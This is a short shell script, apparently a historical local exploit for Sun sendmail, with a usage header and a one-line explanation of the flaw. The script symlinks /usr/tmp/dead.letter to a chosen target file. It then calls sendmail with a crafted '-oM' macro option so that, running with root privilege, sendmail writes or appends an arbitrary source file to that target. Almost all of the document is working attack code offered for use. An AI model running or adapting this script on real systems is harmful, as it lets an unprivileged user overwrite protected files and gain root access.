#!/bin/sh
#
# USAGE  ./sunsendmailcp sourcefile targetfile
# and target file will either be appended to or created.
#
#	Sun sendmail allows -oM to set any macro, and still retains
#	root privilege.  The list of 'trusted' macros should be limited.

if [ $# -ne 2 ]; then
	echo usage: `basename $0` from to
	exit 1
fi

rm -f /usr/tmp/dead.letter
if [ -f /usr/tmp/dead.letter ]; then
	echo sorry, cant continue - /usr/tmp/dead.letter exists
fi

if [ ! -r $1 ]; then
	echo $1 doesnt exist or is unreadable
	exit 1
fi

ln -s $2 /usr/tmp/dead.letter
/usr/lib/sendmail -L0 '-oM#anything' $USER < $1
rm /usr/tmp/dead.letter
exit 0
